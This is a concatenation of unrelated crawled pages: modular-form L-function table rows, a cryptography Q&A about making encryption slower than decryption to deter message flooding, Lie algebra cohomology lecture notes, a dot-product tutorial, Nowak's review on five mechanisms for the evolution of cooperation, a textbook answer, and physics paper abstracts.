2-799-799.610-c0-0-0 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.610 $$0.0 0 -0.187 0 0.983077 Modular form 799.1.h.b.610.2 2-799-799.610-c0-0-1 0.631 0.398 2 17 \cdot 47 799.610$$ $0.0$ $0$ $0.412$ $0$ $1.33350$ Modular form 799.1.h.b.610.1
2-799-799.610-c0-0-2 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.610 $$0.0 0 -0.387 0 1.49259 Modular form 799.1.h.b.610.4 2-799-799.610-c0-0-3 0.631 0.398 2 17 \cdot 47 799.610$$ $0.0$ $0$ $0.0120$ $0$ $1.74253$ Modular form 799.1.h.a.610.1
2-799-799.610-c0-0-4 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.610 $$0.0 0 0.212 0 2.46756 Modular form 799.1.h.b.610.3 2-799-799.798-c0-0-0 0.631 0.398 2 17 \cdot 47 799.798$$ $0.0$ $0$ $-0.400$ $0$ $0.731933$ Modular form 799.1.c.d.798.2
2-799-799.798-c0-0-1 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.798 $$0.0 0 0 0 0.889799 Modular form 799.1.c.c.798.1 2-799-799.798-c0-0-10 0.631 0.398 2 17 \cdot 47 799.798$$ $0.0$ $0$ $0.200$ $0$ $2.81711$ Modular form 799.1.c.d.798.3
2-799-799.798-c0-0-2 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.798 $$0.0 0 0 0 1.14367 Artin representation 2.799.8t6.a.a Modular form 799.1.c.b.798.1 2-799-799.798-c0-0-3 0.631 0.398 2 17 \cdot 47 799.798$$ $0.0$ $0$ $0$ $0$ $1.19290$ Artin representation 2.799.4t3.a Artin representation 2.799.4t3.a.a Modular form 799.1.c.a Modular form 799.1.c.a.798.1
2-799-799.798-c0-0-4 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.798 $$0.0 0 0 0 1.48972 Artin representation 2.799.8t6.a.b Modular form 799.1.c.b.798.2 2-799-799.798-c0-0-5 0.631 0.398 2 17 \cdot 47 799.798$$ $0.0$ $0$ $0$ $0$ $1.58425$ Modular form 799.1.c.c.798.2
2-799-799.798-c0-0-6 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.798 $$0.0 0 0 0 1.87223 Modular form 799.1.c.c.798.3 2-799-799.798-c0-0-7 0.631 0.398 2 17 \cdot 47 799.798$$ $0.0$ $0$ $-0.200$ $0$ $1.89740$ Modular form 799.1.c.d.798.4
2-799-799.798-c0-0-8 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.798 $$0.0 0 0 0 2.14037 Modular form 799.1.c.c.798.4 2-799-799.798-c0-0-9 0.631 0.398 2 17 \cdot 47 799.798$$ $0.0$ $0$ $0.400$ $0$ $2.15833$ Modular form 799.1.c.d.798.1
2-799-799.93-c0-0-0 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.93 $$0.0 0 -0.212 0 0.894786 Modular form 799.1.h.b.93.3 2-799-799.93-c0-0-1 0.631 0.398 2 17 \cdot 47 799.93$$ $0.0$ $0$ $-0.412$ $0$ $1.09419$ Modular form 799.1.h.b.93.1
2-799-799.93-c0-0-2 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.93 $$0.0 0 -0.0120 0 1.52141 Modular form 799.1.h.a.93.1 2-799-799.93-c0-0-3 0.631 0.398 2 17 \cdot 47 799.93$$ $0.0$ $0$ $0.187$ $0$ $2.09975$ Modular form 799.1.h.b.93.2
2-799-799.93-c0-0-4 $0.631$ $0.398$ $2$ $17 \cdot 47$ 799.93 $$0.0 0 0.387 0 3.06285 Modular form 799.1.h.b.93.4 2-799-1.1-c1-0-0 2.52 6.38 2 17 \cdot 47 1.1$$ $1.0$ $1$ $0$ $0$ $0.0835569$ Modular form 799.2.a.g.1.9
2-799-1.1-c1-0-1 $2.52$ $6.38$ $2$ $17 \cdot 47$ 1.1 $$1.0 1 0 0 0.371380 Modular form 799.2.a.f.1.1 2-799-1.1-c1-0-10 2.52 6.38 2 17 \cdot 47 1.1$$ $1.0$ $1$ $0$ $0$ $0.769334$ Modular form 799.2.a.g.1.5
2-799-1.1-c1-0-11 $2.52$ $6.38$ $2$ $17 \cdot 47$ 1.1 $$1.0 1 0 0 0.854140 Modular form 799.2.a.g.1.2 2-799-1.1-c1-0-12 2.52 6.38 2 17 \cdot 47 1.1$$ $1.0$ $1$ $0$ $0$ $0.932484$ Modular form 799.2.a.g.1.10
2-799-1.1-c1-0-13 $2.52$ $6.38$ $2$ $17 \cdot 47$ 1.1 $$1.0 1 0.5 1 1.01038 Modular form 799.2.a.d.1.3 2-799-1.1-c1-0-14 2.52 6.38 2 17 \cdot 47 1.1$$ $1.0$ $1$ $0$ $0$ $1.04537$ Modular form 799.2.a.g.1.1
2-799-1.1-c1-0-15 $2.52$ $6.38$ $2$ $17 \cdot 47$ 1.1 $$1.0 1 0 0 1.08693 Modular form 799.2.a.g.1.15 2-799-1.1-c1-0-16 2.52 6.38 2 17 \cdot 47 1.1$$ $1.0$ $1$ $0$ $0$ $1.10534$ Modular form 799.2.a.f.1.3
Next
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2022-05-19 05:17:46
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{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9987484812736511, "perplexity": 482.94515139468274}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662525507.54/warc/CC-MAIN-20220519042059-20220519072059-00710.warc.gz"}
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https://crypto.stackexchange.com/questions/37720/are-there-encryption-schemes-with-which-it-takes-significantly-longer-to-encry
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Are there encryption schemes with which it takes (significantly) longer to encrypt than to decrypt?
Are there encryption schemes with which it takes (significantly) longer to encrypt than to decrypt?
I am thinking of a specific situation in which a server continuously receives encrypted messages from different senders and has to decrypt each single one of them. To cope with the possibly large amount of messages the decryption process should be fast. However, to avoid that the senders send a large amount of automatized messages, the encryption process should take much longer.
Ideally, the time to encrypt a single message should still be acceptable, but it should become unfeasible to send a large amount of messages in a short time. The specific type of encryption does not matter and the server can be assumed to have all the necessary keys for the decryption of the messages (without the key, of course, the decryption process should take much much longer!).
In other words, sending a message should be "expensive", while receiving the message should be "cheap". Is there an encryption scheme that shifts the computational load to the side of the sender, so that it takes longer to encrypt than to decrypt a message?
• – user991 Jul 13 '16 at 16:55
• I made a tunable slow encryption function recently. It's certainly not standardized (and therefore to be considered “unsafe until further notice’), but the idea might set you in the right direction. Disclaimer: This is from my personal github. – Ella Rose Jul 13 '16 at 17:08
• What about applying a PoW (with fast verification) on the cipher text so the server can verify before attempting decryption – SEJPM Jul 13 '16 at 18:28
• This seems more easily solved at a different layer. You can throttle connections per-host with, e.g., iptables. This also has the advantage that it can't be trivially bypassed by an attacker (who can just flood you with random garbage instead of valid messages). – Stephen Touset Jul 13 '16 at 18:28
• @StephenTouset Yes. My comment was not supposed to be a recommendation on what to implement; it should merely show that "encryption takes longer than decryption" does not necessarily imply "overwhelming the server is expensive". – yyyyyyy Jul 13 '16 at 19:19
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2021-05-18 08:44:39
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http://scholarpedia.org/article/User:Jan_A._Sanders/An_introduction_to_Lie_algebra_cohomology/Lecture_6
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# User:Jan A. Sanders/An introduction to Lie algebra cohomology/Lecture 6
## The Serre-Hochschild spectral sequence
Let $$\mathfrak{h}$$ be a subalgebra or an ideal in $$\mathfrak{g}\ .$$ Define a filtration on $$C^n(\mathfrak{g},\mathfrak{a})$$ by $F^pC^n(\mathfrak{g},\mathfrak{a})=\{a_n\in C^n(\mathfrak{g},\mathfrak{a})| a_n(x_1,\cdots,x_n)=0 \ \mathrm{if}\ n-p+1 \ \mathrm{of\ its \ variables\ are\ in\ } \mathfrak{h}\}.$ Then $C^n(\mathfrak{g},\mathfrak{a})=F^0 C^n(\mathfrak{g},\mathfrak{a})\supset\cdots\supset F^nC^n(\mathfrak{g},\mathfrak{a})\supset F^{n+1}C^n(\mathfrak{g},\mathfrak{a})=0$
### remark
Since, when $$\mathfrak{h}$$ is an ideal, $F^n C^n (\mathfrak{g},\mathfrak{a})\simeq C^n (\mathfrak{g}/\mathfrak{h},\mathfrak{a})$ one can see this as an approximation scheme to go from $$C^n (\mathfrak{g},\mathfrak{a})$$ to $$C^n (\mathfrak{g}/\mathfrak{h},\mathfrak{a})\ .$$
### lemma
$d_1^{n} (x) F^pC^n(\mathfrak{g},\mathfrak{a})\subset F^{p-1}C^n(\mathfrak{g},\mathfrak{a})\ .$
### proof
Let $$a_n\in F^pC^n(\mathfrak{g},\mathfrak{a})\ .$$
That means that $$a^n$$ will be zero if $$n-p+1$$ of its variables are in $$\mathfrak{h}\ .$$
Since $(d_1^{n}(y)a_n)(x_1,\cdots,x_n)=d_1(y)a_n(x_1,\cdots,x_n)-\sum_{i=1}^n a_n(x_1,\cdots, [y,x_i],\cdots,x_n),$ it is clear that $$(d_1^{n}(y)a_n)(x_1,\cdots,x_n)=0$$ if $$n-p+2$$ of its variables are in $$\mathfrak{h}\ ,$$ that is, $$d_1^{n}(y)a_n\in F^{p-1}C^n(\mathfrak{g},\mathfrak{a})\ .$$
### lemma
For $$x\in \mathfrak{g}$$ that $\iota_1^n (x) F^pC^n(\mathfrak{g},\mathfrak{a})\subset F^{p-1}C^{n-1}(\mathfrak{g},\mathfrak{a})\ .$
### lemma
$d^n F^p C^n(\mathfrak{g},\mathfrak{a})\subset F^{p} C^{n+1}(\mathfrak{g},\mathfrak{a})$
### proof
For $$n=0$$ this is clear, since $$d C^0(\mathfrak{g},\mathfrak{a})\subset C^1(\mathfrak{g},\mathfrak{a})\ .$$ Suppose the statement holds for all $$k< n\ .$$ Then, since $\iota_1^{n+1}(x)d^n+d^{n-1}\iota_1^n(x)=d_1^{n}(x)\ ,$ the statement holds by induction for all $$n\in\N\ .$$ Indeed, $d_1^{n}(x)F^p C^n(\mathfrak{g},\mathfrak{a})\subset F^{p-1} C^n(\mathfrak{g},\mathfrak{a})$ and, using the induction hypothesis, $d^{n-1}\iota_1^n(x)F^p C^n(\mathfrak{g},\mathfrak{a})\subset d^{n-1}F^{p-1} C^{n-1}(\mathfrak{g},\mathfrak{a}) \subset F^{p-1} C^{n}(\mathfrak{g},\mathfrak{a})\ .$ This implies that for $$a_n\in F^p C^n(\mathfrak{g},\mathfrak{a})\ ,$$ $d^n a_n (x, x_1,\cdots, x_{n})$ will be zero if $$n+2-p$$ of its arguments are in $$\mathfrak{h}\ .$$ But this implies that $$d^n a_n \in F^{p} C^{n+1}(\mathfrak{g},\mathfrak{a})\ .$$
### definition
Let $$K^{p,n}=F^p C^n(\mathfrak{g},\mathfrak{a})\ .$$ With $$d^n K^{p,n}\subset K^{p,n+1}$$ one is now in the right setting to define a spectral sequence.
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2019-10-21 05:38:30
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https://napsterinblue.github.io/notes/stats/lin_alg/dot_products/
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# Dot Products
## Overview
The dot product between two vectors is simply the sum of the element-wise products between the two vectors, or:
np.dot([a, b, c].T, [d, e, f].T) -> ad + be + cf
This takes us from two vectors of arbitrary, shared, 1 x n dimensions to just a scalar, but what does it actually mean?
## Geometric Interpretation
Per (surprise) 3blue1brown, we can see that the dot product represents the length of the projection of one vector onto the other, multiplied by the length of that second vector
from IPython.display import Image
Image('images/dot_proj.PNG')
Note: If w were pointing in the bottom-left quadrant, its projection would be opposite that of v and thus the dot product would be negative.
Generally, if the dot product is:
• Positive, the vectors are mostly in the same direction
• Negative, pointed mostly opposite one another
• Zero, perpendicular
Furthermore, the order of the vectors doesn’t matter, and applying a scalar to v or w yields the same result of “multiply their dot product by the scalar”.
## How does the math relate to projections?
One of the more elegant concepts of his entire series is the concept of the “duality” of the dot product. Specifically, how we can simultaneously think of dot products in terms of projections and linear transformations.
### Plotting Both Simultaneously
This really came together for me when he plotted the two together– laying the 1D projection line arbitrarily along our 2D space, with the origins overlapping
We define a vector u as a unit step in our projection space, but we can clearly see that it is also a vector that lives within our original input space, simultaneously
Image('images/unit_vector.PNG')
Recall that our standard model for thinking about a Linear Transformation matrix, A, is looking at the columns to see where our unit vectors i and j land.
But because we’re projecting, in this case, from 2D to 1D (a line), i and j will just be points on the line
Image('images/proj_mat.PNG')
So how can we express the location of i and j in this new space?
Well, we can make use of the fact that all three vectors, i, j, and u are of unit length.
Image('images/unit_vectors.PNG')
Moreover, as we defined above, the dot product is simply the length of the projection multiplied by length of the second vector. And because the second vector is of unit length, the dot product is just the length of the projection.
If we draw a line that makes the projection line symetric to our vector i, we can show that the value of i projected onto the line is the same as the value of u projected onto the x-axis.
The same follows for j.
Image('images/u_hats.PNG')
## Interchangeable
And so we can park the transformation matrix to the left of our vector and it neatly fits the form of matrix vector multiplication. In fact, the only difference between doing the multiplication this way and following the dot product form above is just transposing.
Image('images/equivalent.PNG')
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2020-10-26 16:06:22
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https://science.sciencemag.org/content/314/5805/1560?ijkey=46d0d9569f845ff520bc5586daaf326a18ee5da1&keytype2=tf_ipsecsha
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Review
# Five Rules for the Evolution of Cooperation
See allHide authors and affiliations
Science 08 Dec 2006:
Vol. 314, Issue 5805, pp. 1560-1563
DOI: 10.1126/science.1133755
## Abstract
Cooperation is needed for evolution to construct new levels of organization. Genomes, cells, multicellular organisms, social insects, and human society are all based on cooperation. Cooperation means that selfish replicators forgo some of their reproductive potential to help one another. But natural selection implies competition and therefore opposes cooperation unless a specific mechanism is at work. Here I discuss five mechanisms for the evolution of cooperation: kin selection, direct reciprocity, indirect reciprocity, network reciprocity, and group selection. For each mechanism, a simple rule is derived that specifies whether natural selection can lead to cooperation.
Evolution is based on a fierce competition between individuals and should therefore reward only selfish behavior. Every gene, every cell, and every organism should be designed to promote its own evolutionary success at the expense of its competitors. Yet we observe cooperation on many levels of biological organization. Genes cooperate in genomes. Chromosomes cooperate in eukaryotic cells. Cells cooperate in multicellular organisms. There are many examples of cooperation among animals. Humans are the champions of cooperation: From hunter-gatherer societies to nation-states, cooperation is the decisive organizing principle of human society. No other life form on Earth is engaged in the same complex games of cooperation and defection. The question of how natural selection can lead to cooperative behavior has fascinated evolutionary biologists for several decades.
A cooperator is someone who pays a cost, c, for another individual to receive a benefit, b. A defector has no cost and does not deal out benefits. Cost and benefit are measured in terms of fitness. Reproduction can be genetic or cultural. In any mixed population, defectors have a higher average fitness than cooperators (Fig. 1). Therefore, selection acts to increase the relative abundance of defectors. After some time, cooperators vanish from the population. Remarkably, however, a population of only cooperators has the highest average fitness, whereas a population of only defectors has the lowest. Thus, natural selection constantly reduces the average fitness of the population. Fisher's fundamental theorem, which states that average fitness increases under constant selection, does not apply here because selection is frequency-dependent: The fitness of individuals depends on the frequency (= relative abundance) of cooperators in the population. We see that natural selection in well-mixed populations needs help for establishing cooperation.
## Kin Selection
When J. B. S. Haldane remarked, “I will jump into the river to save two brothers or eight cousins,” he anticipated what became later known as Hamilton's rule (1). This ingenious idea is that natural selection can favor cooperation if the donor and the recipient of an altruistic act are genetic relatives. More precisely, Hamilton's rule states that the coefficient of relatedness, r, must exceed the cost-to-benefit ratio of the altruistic act: $Math$(1)
Relatedness is defined as the probability of sharing a gene. The probability that two brothers share the same gene by descent is 1/2; the same probability for cousins is 1/8. Hamilton's theory became widely known as “kin selection” or “inclusive fitness” (27). When evaluating the fitness of the behavior induced by a certain gene, it is important to include the behavior's effect on kin who might carry the same gene. Therefore, the “extended phenotype” of cooperative behavior is the consequence of “selfish genes” (8, 9).
## Direct Reciprocity
It is unsatisfactory to have a theory that can explain cooperation only among relatives. We also observe cooperation between unrelated individuals or even between members of different species. Such considerations led Trivers (10) to propose another mechanism for the evolution of cooperation, direct reciprocity. Assume that there are repeated encounters between the same two individuals. In every round, each player has a choice between cooperation and defection. If I cooperate now, you may cooperate later. Hence, it might pay off to cooperate. This game theoretic framework is known as the repeated Prisoner's Dilemma.
But what is a good strategy for playing this game? In two computer tournaments, Axelrod (11) discovered that the “winning strategy” was the simplest of all, tit-for-tat. This strategy always starts with a cooperation, then it does whatever the other player has done in the previous round: a cooperation for a cooperation, a defection for a defection. This simple concept captured the fascination of all enthusiasts of the repeated Prisoner's Dilemma. Many empirical and theoretical studies were inspired by Axelrod's groundbreaking work (1214).
But soon an Achilles heel of the world champion was revealed: If there are erroneous moves caused by “trembling hands” or “fuzzy minds,” then the performance of tit-for-tat declines (15, 16). Tit-for-tat cannot correct mistakes, because an accidental defection leads to a long sequence of retaliation. At first, tit-for-tat was replaced by generous-tit-for-tat (17), a strategy that cooperates whenever you cooperate, but sometimes cooperates although you have defected [with probability 1 – (c/b)]. Natural selection can promote forgiveness.
Subsequently, tit-for-tat was replaced by win-stay, lose-shift, which is the even simpler idea of repeating your previous move whenever you are doing well, but changing otherwise (18). By various measures of success, win-stay, lose-shift is more robust than either tit-for-tat or generous-tit-for-tat (15, 18). Tit-for-tat is an efficient catalyst of cooperation in a society where nearly everybody is a defector, but once cooperation is established, win-stay, lose-shift is better able to maintain it.
The number of possible strategies for the repeated Prisoner's Dilemma is unlimited, but a simple general rule can be shown without any difficulty. Direct reciprocity can lead to the evolution of cooperation only if the probability, w, of another encounter between the same two individuals exceeds the cost-to-benefit ratio of the altruistic act: $Math$(2)
## Indirect Reciprocity
Direct reciprocity is a powerful mechanism for the evolution of cooperation, but it leaves out certain aspects that are particularly important for humans. Direct reciprocity relies on repeated encounters between the same two individuals, and both individuals must be able to provide help, which is less costly for the donor than it is beneficial for the recipient. But often the interactions among humans are asymmetric and fleeting. One person is in a position to help another, but there is no possibility for a direct reciprocation. We help strangers who are in need. We donate to charities that do not donate to us. Direct reciprocity is like a barter economy based on the immediate exchange of goods, whereas indirect reciprocity resembles the invention of money. The money that fuels the engines of indirect reciprocity is reputation.
Helping someone establishes a good reputation, which will be rewarded by others. When deciding how to act, we take into account the possible consequences for our reputation. We feel strongly about events that affect us directly, but we also take a keen interest in the affairs of others, as demonstrated by the contents of gossip.
In the standard framework of indirect reciprocity, there are randomly chosen pairwise encounters where the same two individuals need not meet again. One individual acts as donor, the other as recipient. The donor can decide whether or not to cooperate. The interaction is observed by a subset of the population who might inform others. Reputation allows evolution of cooperation by indirect reciprocity (19). Natural selection favors strategies that base the decision to help on the reputation of the recipient. Theoretical and empirical studies of indirect reciprocity show that people who are more helpful are more likely to receive help (2028).
Although simple forms of indirect reciprocity can be found in animals (29), only humans seem to engage in the full complexity of the game. Indirect reciprocity has substantial cognitive demands. Not only must we remember our own interactions, we must also monitor the ever-changing social network of the group. Language is needed to gain the information and spread the gossip associated with indirect reciprocity. Presumably, selection for indirect reciprocity and human language has played a decisive role in the evolution of human intelligence (28). Indirect reciprocity also leads to the evolution of morality (30) and social norms (21, 22).
The calculations of indirect reciprocity are complicated and only a tiny fraction of this universe has been uncovered, but again a simple rule has emerged (19). Indirect reciprocity can only promote cooperation if the probability, q, of knowing someone's reputation exceeds the cost-to-benefit ratio of the altruistic act: $Math$(3)
## Network Reciprocity
The argument for natural selection of defection (Fig. 1) is based on a well-mixed population, where everybody interacts equally likely with everybody else. This approximation is used by all standard approaches to evolutionary game dynamics (3134). But real populations are not well mixed. Spatial structures or social networks imply that some individuals interact more often than others. One approach of capturing this effect is evolutionary graph theory (35), which allows us to study how spatial structure affects evolutionary and ecological dynamics (3639).
The individuals of a population occupy the vertices of a graph. The edges determine who interacts with whom. Let us consider plain cooperators and defectors without any strategic complexity. A cooperator pays a cost, c, for each neighbor to receive a benefit, b. Defectors have no costs, and their neighbors receive no benefits. In this setting, cooperators can prevail by forming network clusters, where they help each other. The resulting “network reciprocity” is a generalization of “spatial reciprocity” (40).
Games on graphs are easy to study by computer simulation, but they are difficult to analyze mathematically because of the enormous number of possible configurations that can arise. Nonetheless, a surprisingly simple rule determines whether network reciprocity can favor cooperation (41). The benefit-to-cost ratio must exceed the average number of neighbors, k, per individual: $Math$(4)
## Group Selection
Selection acts not only on individuals but also on groups. A group of cooperators might be more successful than a group of defectors. There have been many theoretical and empirical studies of group selection, with some controversy, and recently there has been a renaissance of such ideas under the heading of “multilevel selection” (4250).
A simple model of group selection works as follows (51). A population is subdivided into groups. Cooperators help others in their own group. Defectors do not help. Individuals reproduce proportional to their payoff. Offspring are added to the same group. If a group reaches a certain size, it can split into two. In this case, another group becomes extinct in order to constrain the total population size. Note that only individuals reproduce, but selection emerges on two levels. There is competition between groups because some groups grow faster and split more often. In particular, pure cooperator groups grow faster than pure defector groups, whereas in any mixed group, defectors reproduce faster than cooperators. Therefore, selection on the lower level (within groups) favors defectors, whereas selection on the higher level (between groups) favors cooperators. This model is based on “group fecundity selection,” which means that groups of cooperators have a higher rate of splitting in two. We can also imagine a model based on “group viability selection,” where groups of cooperators are less likely to go extinct.
In the mathematically convenient limit of weak selection and rare group splitting, we obtain a simple result (51): If n is the maximum group size and m is the number of groups, then group selection allows evolution of cooperation, provided that $Math$(5)
## Evolutionary Success
Before proceeding to a comparative analysis of the five mechanisms, let me introduce some measures of evolutionary success. Suppose a game between two strategies, cooperators C and defectors D, is given by the payoff matrix $Math$
The entries denote the payoff for the row player. Without any mechanism for the evolution of cooperation, defectors dominate cooperators, which means α < γ and β < δ. A mechanism for the evolution of cooperation can change these inequalities.
1. If α > γ, then cooperation is an evolutionarily stable strategy (ESS). An infinitely large population of cooperators cannot be invaded by defectors under deterministic selection dynamics (32).
2. If α + β > γ + δ, then cooperators are risk-dominant (RD). If both strategies are ESS, then the risk-dominant strategy has the bigger basin of attraction.
3. If α + 2β > γ + 2δ, then cooperators are advantageous (AD). This concept is important for stochastic game dynamics in finite populations. Here, the crucial quantity is the fixation probability of a strategy, defined as the probability that the lineage arising from a single mutant of that strategy will take over the entire population consisting of the other strategy. An AD strategy has a fixation probability greater than the inverse of the population size, 1/N. The condition can also be expressed as a 1/3 rule: If the fitness of the invading strategy at a frequency of 1/3 is greater than the fitness of the resident, then the fixation probability of the invader is greater than 1/N. This condition holds in the limit of weak selection (52).
A mechanism for the evolution of cooperation can ensure that cooperators become ESS, RD, or AD (Fig. 2). Some mechanisms even allow cooperators to dominate defectors, which means α > γ and β > δ.
## Comparative Analysis
We have encountered five mechanisms for the evolution of cooperation (Fig. 3). Although the mathematical formalisms underlying the five mechanisms are very different, at the center of each theory is a simple rule. I now present a coherent mathematical framework that allows the derivation of all five rules. The crucial idea is that each mechanism can be presented as a game between two strategies given by a 2 × 2 payoff matrix (Table 1). From this matrix, we can derive the relevant condition for evolution of cooperation.
For kin selection, I use the approach of inclusive fitness proposed by Maynard Smith (31). The relatedness between two players is r. Therefore, your payoff multiplied by r is added to mine. A second method, shown in (53), leads to a different matrix but the same result. For direct reciprocity, the cooperators use tit-for-tat while the defectors use “always-defect.” The expected number of rounds is 1/(1 – w). Two tit-for-tat players cooperate all the time. Tit-for-tat versus always-defect cooperates only in the first move and then defects. For indirect reciprocity, the probability of knowing someone's reputation is given by q. A cooperator helps unless the reputation of the other person indicates a defector. A defector never helps. For network reciprocity, it can be shown that the expected frequency of cooperators is described by a standard replicator equation with a transformed payoff matrix (54). For group selection, the payoff matrices of the two games—within and between groups—can be added up. The details of all these arguments and their limitations are given in (53).
For kin selection, the calculation shows that Hamilton's rule, r > c/b, is the decisive criterion for all three measures of evolutionary success: ESS, RD, and AD. Similarly, for network reciprocity and group selection, we obtain the same condition for all three evaluations, namely b/c > k and b/c > 1 + (n/m), respectively. The reason is the following: If these conditions hold, then cooperators dominate defectors. For direct and indirect reciprocity, we find that the ESS conditions lead to w > c/b and q > c/b, respectively. Slightly more stringent conditions must hold for cooperation to be RD or AD.
## Conclusion
Each of the five possible mechanisms for the evolution of cooperation—kin selection, direct reciprocity, indirect reciprocity, network reciprocity and group selection—can be described by a characteristic 2 × 2 payoff matrix, from which we can directly derive the fundamental rules that specify whether cooperation can evolve (Table 1). Each rule can be expressed as the benefit-to-cost ratio of the altruistic act being greater than some critical value. The payoff matrices can be imported into standard frameworks of evolutionary game dynamics. For example, we can study replicator equations for games on graphs (54), for group selection, and for kin selection. This creates interesting new possibilities for the theory of evolutionary dynamics (55).
I have not discussed all potential mechanisms for the evolution of cooperation. An interesting possibility is offered by “green beard” models where cooperators recognize each other via arbitrary labels (5658). Another way to obtain cooperation is making the game voluntary rather than obligatory: If players can choose to cooperate, defect, or not play at all, then some level of cooperation usually prevails in dynamic oscillations (59). Punishment is an important factor that can promote cooperative behavior in some situations (6064), but it is not a mechanism for the evolution of cooperation. All evolutionary models of punishment so far are based on underlying mechanisms such as indirect reciprocity (65), group selection (66, 67), or network reciprocity (68). Punishment can enhance the level of cooperation that is achieved in such models.
Kin selection has led to mathematical theories (based on the Price equation) that are more general than just analyzing interactions between genetic relatives (4, 5). The interacting individuals can have any form of phenotypic correlation. Therefore, kin selection theory also provides an approach to compare different mechanisms for the evolution of cooperation (69, 70).
The two fundamental principles of evolution are mutation and natural selection. But evolution is constructive because of cooperation. New levels of organization evolve when the competing units on the lower level begin to cooperate. Cooperation allows specialization and thereby promotes biological diversity. Cooperation is the secret behind the open-endedness of the evolutionary process. Perhaps the most remarkable aspect of evolution is its ability to generate cooperation in a competitive world. Thus, we might add “natural cooperation” as a third fundamental principle of evolution beside mutation and natural selection.
Supporting Online Material
SOM Text
References
View Abstract
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2019-07-22 02:55:45
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https://www.gradesaver.com/textbooks/math/algebra/algebra-and-trigonometry-10th-edition/chapter-3-review-exercises-page-303/104
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## Algebra and Trigonometry 10th Edition
$960$ boxes.
According to the exercise our equation is: $\frac{800}{5}=\frac{x}{6}\\x=6\cdot\frac{800}{5}=6\cdot160=960$
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2019-11-18 08:11:44
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https://physics.hmc.edu/pub/?page=8
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### Abstract
A new method of direct, rapid nano- to micro-scale patterning of high purity cobalt is presented. The method utilizes a combination of electron beam induced deposition (EBID) and seeded growth at elevated temperatures below the temperature of spontaneous thermal decomposition. Dicobalt octacarbonyl $$\mathrm{Co_{2}(CO)_{8}}$$ is used as the precursor and carbon as a seed layer. Seeded deposition is carried out in the substrate temperature range from 55 to 75°C. Deposition yield is significantly higher than conventional EBID and magnetotransport measurements indicate that resistivity, $$22~\mu\Omega~\mathrm{cm}$$, and saturation magnetization, 1.55 T, are much closer to the corresponding values for bulk Co than those for standard EBID.
### Abstract
A popular method for generating micron-sized aerosols is to submerge ultrasonic ( *ω* ~ MHz) piezoelectric oscillators in a water bath. The submerged oscillator atomizes the fluid, creating droplets with radii proportional to the wavelength of the standing wave at the fluid surface. Classical theory for the Faraday instability predicts a parametric instability driving a capillary wave at the subharmonic (*ω*/2) frequency. For many applications it is desirable to reduce the size of the droplets; however, using higher frequency oscillators becomes impractical beyond a few MHz. Observations are presented that demonstrate that smaller droplets may also be created by increasing the driving amplitude of the oscillator, and that this effect becomes more pronounced for large driving frequencies. It is shown that these observations are consistent with a transition from droplets associated with subharmonic ( *ω*/2) capillary waves to harmonic (*ω*) capillary waves induced by larger driving frequencies and amplitudes, as predicted by a stability analysis of the capillary waves.
### Abstract
Being able to distinguish light-quark jets from gluon jets on an event-by-event basis could significantly enhance the reach for many new physics searches at the Large Hadron Collider. Through an exhaustive search of existing and novel jet substructure observables, we find that a multivariate approach can filter out over 95% of the gluon jets while keeping more than half of the light-quark jets. Moreover, a combination of two simple variables, the charge track multiplicity and the $$p_T$$-weighted linear radial moment (girth), can achieve similar results. Our study is only Monte Carlo based, so other observables constructed using different jet sizes and parameters are used to highlight areas that deserve further theoretical and experimental scrutiny. Additional information, including distributions of around 10 000 variables, can be found at http://jets.physics.harvard.edu/qvg/.
### Abstract
The role of petal spurs and specialized pollinator interactions has been studied since Darwin. Aquilegia petal spurs exhibit striking size and shape diversity, correlated with specialized pollinators ranging from bees to hawkmoths in a textbook example of adaptive radiation. Despite the evolutionary significance of spur length, remarkably little is known about Aquilegia spur morphogenesis and its evolution. Using experimental measurements, both at tissue and cellular levels, combined with numerical modelling, we have investigated the relative roles of cell divisions and cell shape in determining the morphology of the Aquilegia petal spur. Contrary to decades-old hypotheses implicating a discrete meristematic zone as the driver of spur growth, we find that Aquilegia petal spurs develop via anisotropic cell expansion. Furthermore, changes in cell anisotropy account for 99 per cent of the spur-length variation in the genus, suggesting that the true evolutionary innovation underlying the rapid radiation of Aquilegia was the mechanism of tuning cell shape.
### Abstract
We demonstrate the operation of a device that can produce chitosan nanoparticles in a tunable size range from 50–300 nm with small size dispersion. A piezoelectric oscillator operated at megahertz frequencies is used to aerosolize a solution containing dissolved chitosan. The solvent is then evaporated from the aerosolized droplets in a heat pipe, leaving monodisperse nanoparticles to be collected. The nanoparticle size is controlled both by the concentration of the dissolved polymer and by the size of the aerosol droplets that are created. Our device can be used with any polymer or polymer/therapeutic combination that can be prepared in a homogeneous solution and vaporized.
#### From the Cover…
.. epigraph:: “Helliwell achieves a rare clarity. For instance, the derivation of the standard kinematic results starting from Einstein's postulates is outstandingly clear. Throughout he shows an unusual and sympathetic appreciation of the problems that are faced by the beginning student.” -- John Taylor, University of Colorado .. epigraph:: “*Special Relativity* is definitely much better than the books I have read on this topic, and I would recommend it to any instructor who plans to teach a course on this topic. For anyone teaching special relativity as a part of a Modern Physics course, this book offers valuable supplementary reading.” -- Shirvel Stanislaus, Valparaiso University
### Abstract
